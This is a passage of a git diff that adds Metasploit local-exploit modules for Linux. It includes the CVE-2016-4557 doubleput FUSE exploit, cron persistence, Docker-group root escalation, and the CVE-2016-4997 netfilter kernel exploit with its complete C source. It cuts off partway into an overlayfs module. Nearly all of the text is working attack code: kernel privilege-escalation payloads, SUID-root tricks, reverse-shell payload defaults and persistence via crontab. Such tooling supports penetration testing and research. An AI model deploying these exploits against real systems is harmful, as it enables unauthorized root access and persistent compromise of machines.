stbuf->st_nlink = 1; + stbuf->st_size = sizeof(data_state); + stbuf->st_blocks = 0; + } else + res = -ENOENT; + return res; + } + + static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { + filler(buf, ".", NULL, 0); + filler(buf, "..", NULL, 0); + filler(buf, hello_path + 1, NULL, 0); + return 0; + } + + static int hello_open(const char *path, struct fuse_file_info *fi) { + return 0; + } + + static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + sleep(10); + size_t len = sizeof(data_state); + if (offset < len) { + if (offset + size > len) + size = len - offset; + memcpy(buf, data_state + offset, size); + } else + size = 0; + return size; + } + + static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { + if (offset != 0) + errx(1, "got write with nonzero offset"); + if (size != sizeof(data_state)) + errx(1, "got write with size %d", (int)size); + memcpy(data_state + offset, buf, size); + return size; + } + + static struct fuse_operations hello_oper = { + .getattr = hello_getattr, + .readdir = hello_readdir, + .open = hello_open, + .read = hello_read, + .write = hello_write, + }; + + int main(int argc, char *argv[]) { + return fuse_main(argc, argv, &hello_oper, NULL); + } + } + + hello_filename = 'hello' + hello_path = "#{datastore['WritableDir']}/#{hello_filename}" + doubleput_file = "#{datastore['WritableDir']}/doubleput" + suidhelper_filename = 'suidhelper' + suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}" + payload_filename = rand_text_alpha(8) + payload_path = "#{datastore['WritableDir']}/#{payload_filename}" + + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + def has_prereqs?() + def check_libfuse_dev?() + lib = cmd_exec('dpkg --get-selections | grep libfuse-dev') + if lib.include?('install') + vprint_good('libfuse-dev is installed') + return true + else + print_error('libfuse-dev is not installed. Compiling will fail.') + return false + end + end + def check_gcc?() + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + return true + else + print_error('gcc is not installed. Compiling will fail.') + return false + end + end + def check_pkgconfig?() + lib = cmd_exec('dpkg --get-selections | grep ^pkg-config') + if lib.include?('install') + vprint_good('pkg-config is installed') + return true + else + print_error('pkg-config is not installed. Exploitation will fail.') + return false + end + end + return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?() + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + + if compile == false + # doubleput file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput') + fd = ::File.open( path, "rb") + doubleput = fd.read(fd.stat.size) + fd.close + # hello file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello') + fd = ::File.open( path, "rb") + hello = fd.read(fd.stat.size) + fd.close + # suidhelper file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper') + fd = ::File.open( path, "rb") + suid_helper = fd.read(fd.stat.size) + fd.close + + # overwrite with the hardcoded variable names in the compiled versions + payload_filename = 'AyDJSaMM' + payload_path = '/tmp/AyDJSaMM' + end + + # make our substitutions so things are dynamic + suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/, + "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable + doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/, + 'exit(0);') + print_status('Writing files to target') + cmd_exec("cd #{datastore['WritableDir']}") + upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil) + upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil) + upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil) + upload_and_compile('payload', payload_path, generate_payload_exe) + + print_status('Starting execution of priv esc. This may take about 120 seconds') + + cmd_exec(doubleput_file) + sec_waited = 0 + until sec_waited > datastore['MAXWAIT'] do + Rex.sleep(1) + # check file permissions + if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root') + print_good('got root, starting payload') + print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target') + print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target') + print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target') + cmd_exec("#{suidhelper_path}") + return + end + sec_waited +=1 + end + end + + def on_new_session(session) + # if we don't /bin/bash here, our payload times out + # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400 + # [*] 192.168.199.130 - Meterpreter session 2 closed. Reason: Died + session.shell_command_token('/bin/bash') + super + end +end diff --git a/modules/exploits/linux/local/cron_persistence.rb b/modules/exploits/linux/local/cron_persistence.rb new file mode 100644 index 0000000000..4a74c0e21f --- /dev/null +++ b/modules/exploits/linux/local/cron_persistence.rb @@ -0,0 +1,137 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Cron Persistence', + 'Description' => %q( + This module will create a cron or crontab entry to execute a payload. + The module includes the ability to automatically clean up those entries to prevent multiple executions. + syslog will get a copy of the cron entry. + ), + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ' + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => + [ + [ 'Cron', { :path => '/etc/cron.d' } ], + [ 'User Crontab', { :path => '/var/spool/cron' } ], + [ 'System Crontab', { :path => '/etc' } ] + ], + 'DefaultTarget' => 1, + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'BadChars' => "#%\x10\x13", # is for comments, % is for newline + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl ruby python' + } + }, + 'DefaultOptions' => { 'WfsDelay' => 90 }, + 'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation) + ) + ) + + register_options( + [ + OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']), + OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']), + OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true]) + ], self.class + ) + end + + def exploit + # https://gist.github.com/istvanp/310203 for cron regex validator + cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+' + cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+' + cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+' + cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+' + cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s* + # cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?' + unless datastore['TIMING'] =~ /#{cron_regex}/ + fail_with(Failure::BadConfig, 'Invalid timing format') + end + cron_entry = datastore['TIMING'] + if target.name.include? 'User Crontab' + unless user_cron_permission?(datastore['USERNAME']) + fail_with(Failure::NoAccess, 'User denied cron via cron.deny') + end + else + cron_entry += " #{datastore['USERNAME']}" + end + flag = Rex::Text.rand_text_alpha(10) + cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later + case target.name + when 'Cron' + our_entry = Rex::Text.rand_text_alpha(10) + write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}") + if datastore['CLEANUP'] + register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}") + end + when 'System Crontab' + file_to_clean = "#{target.opts[:path]}/crontab" + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + when 'User Crontab' + file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}" + append_file(file_to_clean, "\n#{cron_entry}\n") + vprint_good("Writing #{cron_entry} to #{file_to_clean}") + # at least on ubuntu, we need to reload cron to get this to work + vprint_status('Reloading cron to pickup new entry') + cmd_exec("service cron reload") + end + print_status("Waiting #{datastore['WfsDelay']}sec for execution") + Rex.sleep(datastore['WfsDelay'].to_i) + # we may need to do some cleanup, no need for cron since that uses file dropper + # we could run this on a on_successful_session, but we want cleanup even if it fails + if file_to_clean && flag && datastore['CLEANUP'] + print_status("Removing our cron entry from #{file_to_clean}") + cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new") + cmd_exec("mv #{file_to_clean}.new #{file_to_clean}") + # replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed + if target.name == 'User Crontab' # make sure we clean out of memory + cmd_exec("service cron reload") + end + end + end + + def user_cron_permission?(user) + # double check we're allowed to do cron + # may also be /etc/cron.d/ + paths = ['/etc/', '/etc/cron.d/'] + paths.each do |path| + cron_auth = read_file("#{path}cron.allow") + if cron_auth + if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/ + vprint_good("User located in #{path}cron.allow") + return true + end + end + cron_auths = read_file("#{path}cron.deny") + if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/ + vprint_error("User located in #{path}cron.deny") + return false + end + end + # no guidance, so we should be fine + true + end +end diff --git a/modules/exploits/linux/local/desktop_privilege_escalation.rb b/modules/exploits/linux/local/desktop_privilege_escalation.rb index f325ba29ea..6ece63523c 100644 --- a/modules/exploits/linux/local/desktop_privilege_escalation.rb +++ b/modules/exploits/linux/local/desktop_privilege_escalation.rb @@ -9,7 +9,7 @@ require 'msf/core/exploit/exe' require 'base64' require 'metasm' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File diff --git a/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb new file mode 100644 index 0000000000..7d55eee204 --- /dev/null +++ b/modules/exploits/linux/local/docker_daemon_privilege_escalation.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, { + 'Name' => 'Docker Daemon Privilege Escalation', + 'Description' => %q{ + This module obtains root privileges from any host account with access to the + Docker daemon. Usually this includes accounts in the `docker` group. + }, + 'License' => MSF_LICENSE, + 'Author' => ['forzoni'], + 'DisclosureDate' => 'Jun 28 2016', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE], + 'Targets' => [ ['Automatic', {}] ], + 'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 }, + 'SessionTypes' => ['shell', 'meterpreter'], + 'DefaultTarget' => 0 + } + )) + register_advanced_options([ + OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]) + ], self.class) + end + + def check + if cmd_exec('docker ps && echo true') =~ /true$/ + Exploit::CheckCode::Vulnerable + else + print_error("Failed to access Docker daemon.") + Exploit::CheckCode::Safe + end + end + + def exploit + pl = generate_payload_exe + exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}" + print_status("Writing payload executable to '#{exe_path}'") + + write_file(exe_path, pl) + register_file_for_cleanup(exe_path) + + print_status("Executing script to create and run docker container") + vprint_status cmd_exec("chmod +x #{exe_path}") + vprint_status shell_script(exe_path) + vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'") + + print_status "Waiting #{datastore['WfsDelay']}s for payload" + end + + def shell_script(exploit_path) + deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']] + dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ") + + %Q{ + IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"` + EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}" + docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT" + docker rmi -f $IMG + #{exploit_path} + }.strip.split("\n").map(&:strip).join(';') + end + +end diff --git a/modules/exploits/linux/local/hp_smhstart.rb b/modules/exploits/linux/local/hp_smhstart.rb index b6a739210f..2a1659297a 100644 --- a/modules/exploits/linux/local/hp_smhstart.rb +++ b/modules/exploits/linux/local/hp_smhstart.rb @@ -8,7 +8,7 @@ require 'rex' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::File diff --git a/modules/exploits/linux/local/kloxo_lxsuexec.rb b/modules/exploits/linux/local/kloxo_lxsuexec.rb index b9f5606758..0d2d267c7e 100644 --- a/modules/exploits/linux/local/kloxo_lxsuexec.rb +++ b/modules/exploits/linux/local/kloxo_lxsuexec.rb @@ -8,7 +8,9 @@ require 'rex' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local + + Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::File @@ -93,7 +95,7 @@ class Metasploit4 < Msf::Exploit::Local # Profit print_status("Exploiting...") cmd_exec("chmod +x #{payload_path}") - cmd_exec("LXLABS=`cat /etc/passwd | grep lxlabs | cut -d: -f3`") + cmd_exec("LXLABS=`grep lxlabs /etc/passwd | cut -d: -f3`") cmd_exec("export MUID=$LXLABS") cmd_exec("export GID=$LXLABS") cmd_exec("export TARGET=/bin/sh") diff --git a/modules/exploits/linux/local/netfilter_priv_esc.rb b/modules/exploits/linux/local/netfilter_priv_esc.rb new file mode 100644 index 0000000000..174200e7c5 --- /dev/null +++ b/modules/exploits/linux/local/netfilter_priv_esc.rb @@ -0,0 +1,431 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Kernel 4.6.3 Netfilter Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit a netfilter bug on Linux Kernels befoe 4.6.3, and currently + only works against Ubuntu 16.04 (not 16.04.1) with kernel + 4.4.0-21-generic. + Several conditions have to be met for successful exploitation: + Ubuntu: + 1. ip_tables.ko (ubuntu), iptable_raw (fedora) has to be loaded (root running iptables -L will do such) + 2. libc6-dev-i386 (ubuntu), glibc-devel.i686 & libgcc.i686 (fedora) needs to be installed to compile + Kernel 4.4.0-31-generic and newer are not vulnerable. + + We write the ascii files and compile on target instead of locally since metasm bombs for not + having cdefs.h (even if locally installed) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'vnik' # Discovery + ], + 'DisclosureDate' => 'Jun 03 2016', + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'Ubuntu', { } ] + #[ 'Fedora', { } ] + ], + 'DefaultTarget' => 0, + 'References' => + [ + [ 'EDB', '40049'], + [ 'CVE', '2016-4997'], + [ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c'] + ] + )) + register_options( + [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]), + OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) + ], self.class) + end + + def check + def iptables_loaded?() + # user@ubuntu:~$ grep ip_tables /proc/modules + # ip_tables 28672 1 iptable_filter, Live 0x0000000000000000 + # x_tables 36864 2 iptable_filter,ip_tables, Live 0x0000000000000000 + vprint_status('Checking if ip_tables is loaded in kernel') + if target.name == "Ubuntu" + iptables = read_file('/proc/modules') + if iptables.include?('ip_tables') + vprint_good('ip_tables.ko is loaded') + else + print_error('ip_tables.ko is not loaded. root needs to run iptables -L or similar command') + end + return iptables.include?('ip_tables') + elsif target.name == "Fedora" + iptables = read_file('/proc/modules') + if iptables.include?('iptable_raw') + vprint_good('iptable_raw is loaded') + else + print_error('iptable_raw is not loaded. root needs to run iptables -L or similar command') + end + return iptables.include?('iptable_raw') + else + return false + end + end + + def shemsham_installed?() + # we want this to be false. + vprint_status('Checking if shem or sham are installed') + shemsham = read_file('/proc/cpuinfo') + if shemsham.include?('shem') + print_error('shem installed, system not vulnerable.') + elsif shemsham.include?('sham') + print_error('sham installed, system not vulnerable.') + else + vprint_good('shem and sham not present.') + end + return (shemsham.include?('shem') or shemsham.include?('sham')) + end + + if iptables_loaded?() and not shemsham_installed?() + return CheckCode::Appears + else + return CheckCode::Safe + end + end + + def exploit + # first thing we need to do is determine our method of exploitation: compiling realtime, or droping a pre-compiled version. + def has_prereqs?() + vprint_status('Checking if 32bit C libraries, gcc-multilib, and gcc are installed') + if target.name == "Ubuntu" + lib = cmd_exec('dpkg --get-selections | grep libc6-dev-i386') + if lib.include?('install') + vprint_good('libc6-dev-i386 is installed') + else + print_error('libc6-dev-i386 is not installed. Compiling will fail.') + end + multilib = cmd_exec('dpkg --get-selections | grep ^gcc-multilib') + if multilib.include?('install') + vprint_good('gcc-multilib is installed') + else + print_error('gcc-multilib is not installed. Compiling will fail.') + end + gcc = cmd_exec('which gcc') + if gcc.include?('gcc') + vprint_good('gcc is installed') + else + print_error('gcc is not installed. Compiling will fail.') + end + return gcc.include?('gcc') && lib.include?('install') && multilib.include?('install') + elsif target.name == "Fedora" + lib = cmd_exec('dnf list installed | grep -E \'(glibc-devel.i686|libgcc.i686)\'') + if lib.include?('glibc') + vprint_good('glibc-devel.i686 is installed') + else + print_error('glibc-devel.i686 is not installed. Compiling will fail.') + end + if lib.include?('libgcc') + vprint_good('libgcc.i686 is installed') + else + print_error('libgcc.i686 is not installed. Compiling will fail.') + end + multilib = false #not implemented + gcc = false #not implemented + return (lib.include?('glibc') && lib.include?('libgcc')) && gcc && multilib + else + return false + end + end + + compile = false + if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True' + if has_prereqs?() + compile = true + vprint_status('Live compiling exploit on system') + else + vprint_status('Dropping pre-compiled exploit on system') + end + end + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') + end + + desc_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + env_ready_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + pwn_file = datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + payload_file = rand_text_alpha(8) + payload_path = "#{datastore["WritableDir"]}/#{payload_file}" + + # direct copy of code from exploit-db, except removed the check for shem/sham and ip_tables.ko since we can do that in the check area here + # removed #include per busterb comment in PR 7326 + decr = %q{ + #define _GNU_SOURCE + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define MALLOC_SIZE 66*1024 + + int decr(void *p) { + int sock, optlen; + int ret; + void *data; + struct ipt_replace *repl; + struct ipt_entry *entry; + struct xt_entry_match *ematch; + struct xt_standard_target *target; + unsigned i; + + sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW); + + if (sock == -1) { + perror("socket"); + return -1; + } + + data = malloc(MALLOC_SIZE); + + if (data == NULL) { + perror("malloc"); + return -1; + } + + memset(data, 0, MALLOC_SIZE); + + repl = (struct ipt_replace *) data; + repl->num_entries = 1; + repl->num_counters = 1; + repl->size = sizeof(*repl) + sizeof(*target) + 0xffff; + repl->valid_hooks = 0; + + entry = (struct ipt_entry *) (data + sizeof(struct ipt_replace)); + entry->target_offset = 74; // overwrite target_offset + entry->next_offset = sizeof(*entry) + sizeof(*ematch) + sizeof(*target); + + ematch = (struct xt_entry_match *) (data + sizeof(struct ipt_replace) + sizeof(*entry)); + + strcpy(ematch->u.user.name, "icmp"); + void *kmatch = (void*)mmap((void *)0x10000, 0x1000, 7, 0x32, 0, 0); + uint64_t *me = (uint64_t *)(kmatch + 0x58); + *me = 0xffffffff821de10d; // magic number! + + uint32_t *match = (uint32_t *)((char *)&ematch->u.kernel.match + 4); + *match = (uint32_t)kmatch; + + ematch->u.match_size = (short)0xffff; + + target = (struct xt_standard_target *)(data + sizeof(struct ipt_replace) + 0xffff + 0x8); + uint32_t *t = (uint32_t *)target; + *t = (uint32_t)kmatch; + + printf("[!] Decrementing the refcount. This may take a while...\n"); + printf("[!] Wait for the \"Done\" message (even if you'll get the prompt back).\n"); + + for (i = 0; i < 0xffffff/2+1; i++) { + ret = setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, (void *) data, 66*1024); + } + + close(sock); + free(data); + printf("[+] Done! Now run ./pwn\n"); + + return 0; + } + + int main(void) { + void *stack; + int ret; + + printf("netfilter target_offset Ubuntu 16.04 4.4.0-21-generic exploit by vnik\n"); + + ret = unshare(CLONE_NEWUSER); + + if (ret == -1) { + perror("unshare"); + return -1; + } + + stack = (void *) malloc(65536); + + if (stack == NULL) { + perror("malloc"); + return -1; + } + + clone(decr, stack + 65536, CLONE_NEWNET, NULL); + + sleep(1); + + return 0; + } + } + + # direct copy of code from exploit-db + pwn = %q{ + #include + #include + #include + #include + #include + #include + #include + #include + + #define MMAP_ADDR 0xff814e3000 + #define MMAP_OFFSET 0xb0 + + typedef int __attribute__((regparm(3))) (*commit_creds_fn)(uint64_t cred); + typedef uint64_t __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(uint64_t cred); + + void __attribute__((regparm(3))) privesc() { + commit_creds_fn commit_creds = (void *)0xffffffff810a21c0; + prepare_kernel_cred_fn prepare_kernel_cred = (void *)0xffffffff810a25b0; + commit_creds(prepare_kernel_cred((uint64_t)NULL)); + } + + int main() { + void *payload = (void*)mmap((void *)MMAP_ADDR, 0x400000, 7, 0x32, 0, 0); + assert(payload == (void *)MMAP_ADDR); + + void *shellcode = (void *)(MMAP_ADDR + MMAP_OFFSET); + + memset(shellcode, 0, 0x300000); + + void *ret = memcpy(shellcode, &privesc, 0x300); + assert(ret == shellcode); + + printf("[+] Escalating privs...\n"); + + int fd = open("/dev/ptmx", O_RDWR); + close(fd); + + assert(!getuid()); + + printf("[+] We've got root!"); + + return execl("/bin/bash", "-sh", NULL); + } + } + + # the original code printed a line. However, this is hard to detect due to threading. + # so instead we can write a file in /tmp to catch. + decr.gsub!(/printf\("\[\+\] Done\! Now run \.\/pwn\\n"\);/, + "int fd2 = open(\"#{env_ready_file}\", O_RDWR|O_CREAT, 0777);close(fd2);" ) + + # patch in to run our payload + pwn.gsub!(/execl\("\/bin\/bash", "-sh", NULL\);/, + "execl(\"#{payload_path}\", NULL);") + + def pwn(payload_path, pwn_file, pwn, compile) + # lets write our payload since everythings set for priv esc + vprint_status("Writing payload to #{payload_path}") + write_file(payload_path, generate_payload_exe) + cmd_exec("chmod 555 #{payload_path}") + register_file_for_cleanup(payload_path) + + # now lets drop part 2, and finish up. + rm_f pwn_file + if compile + print_status "Writing pwn executable to #{pwn_file}.c" + rm_f "#{pwn_file}.c" + write_file("#{pwn_file}.c", pwn) + cmd_exec("gcc #{pwn_file}.c -O2 -o #{pwn_file}") + register_file_for_cleanup("#{pwn_file}.c") + else + print_status "Writing pwn executable to #{pwn_file}" + write_file(pwn_file, pwn) + end + register_file_for_cleanup(pwn_file) + cmd_exec("chmod +x #{pwn_file}; #{pwn_file}") + end + + if not compile # we need to override with our pre-created binary + # pwn file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-pwn.out') + fd = ::File.open( path, "rb") + pwn = fd.read(fd.stat.size) + fd.close + # desc file + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4997', '2016-4997-decr.out') + fd = ::File.open( path, "rb") + decr = fd.read(fd.stat.size) + fd.close + + # overwrite the hardcoded variable names in the compiled versions + env_ready_file = '/tmp/okDjTFSS' + payload_path = '/tmp/2016_4997_payload' + end + + # check for shortcut + if datastore['REEXPLOIT'] + pwn(payload_path, pwn_file, pwn, compile) + else + rm_f desc_file + if compile + print_status "Writing desc executable to #{desc_file}.c" + rm_f "#{desc_file}.c" + write_file("#{desc_file}.c", decr) + register_file_for_cleanup("#{desc_file}.c") + output = cmd_exec("gcc #{desc_file}.c -m32 -O2 -o #{desc_file}") + else + write_file(desc_file, decr) + end + rm_f env_ready_file + register_file_for_cleanup(env_ready_file) + #register_file_for_cleanup(desc_file) + if not file_exist?(desc_file) + vprint_error("gcc failure output: #{output}") + fail_with(Failure::Unknown, "#{desc_file}.c failed to compile") + end + if target.name == "Ubuntu" + vprint_status "Executing #{desc_file}, may take around 35s to finish. Watching for #{env_ready_file} to be created." + elsif target.name == "Fedora" + vprint_status "Executing #{desc_file}, may take around 80s to finish. Watching for #{env_ready_file} to be created." + end + cmd_exec("chmod +x #{desc_file}; #{desc_file}") + sec_waited = 0 + + until sec_waited > datastore['MAXWAIT'] do + Rex.sleep(1) + if sec_waited % 10 == 0 + vprint_status("Waited #{sec_waited}s so far") + end + + if file_exist?(env_ready_file) + print_good("desc finished, env ready.") + pwn(payload_path, pwn_file, pwn, compile) + return + end + sec_waited +=1 + end + end + end +end diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb new file mode 100644 index 0000000000..ec09f3842a --- /dev/null +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -0,0 +1,293 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require "msf/core" + +class MetasploitModule < Msf::Exploit::Local + Rank = GoodRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Overlayfs Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit two different CVEs related to overlayfs. + CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 + 3.16.0-25 (14.10 default) < 3.16.0-41 + 3.19.0-18 (15.04 default) < 3.19.0-21 + CVE-2015-8660: + Ubuntu: + 3.19.0-18 < 3.19.0-43 + 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) + Fedora: + < 4.2.8 (vulnerable, un-tested) + Red Hat: + < 3.10.0-327 (rhel 6, vulnerable, un-tested) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die ', # Module + 'rebel' # Discovery + ], + 'DisclosureDate' => 'Jun 16 2015', + 'Platform' => [ 'linux'], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ 'CVE-2015-1328', { } ], + [ 'CVE-2015-8660', { } ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => + { + 'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su + }, + 'References' => + [ + [ 'EDB', '39166'], # CVE-2015-8660 + [ 'EDB', '37292'], # CVE-2015-1328 + [ 'CVE', '2015-1328'], + [ 'CVE', '2015-8660'] + ] + )) + register_options( + [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) + ], self.class) + end + + def check + def mounts_exist?() + vprint_status('Checking if mount points exist') + if target.name == 'CVE-2015-1328' + if not directory?('/tmp/ns_sploit') + vprint_good('/tmp/ns_sploit not created') + return true + else + print_error('/tmp/ns_sploit directory exists. Please delete.') + return false + end + elsif target.name == 'CVE-2015-8660' + if not directory?('/tmp/haxhax') + vprint_good('/tmp/haxhax not created') + return true + else + print_error('/tmp/haxhax directory exists. Please delete.') + return false + end + end + end + + def kernel_vuln?() + os_id = cmd_exec('grep ^ID= /etc/os-release') + case os_id + when 'ID=ubuntu' + kernel = Gem::Version.new(cmd_exec('/bin/uname -r')) + case kernel.release.to_s + when '3.13.0' + if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.16.0' + if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + else + print_error("Kernel #{kernel} is NOT vulnerable") + return false + end + when '3.19.0' + if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic')) + vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328") + return true + elsif 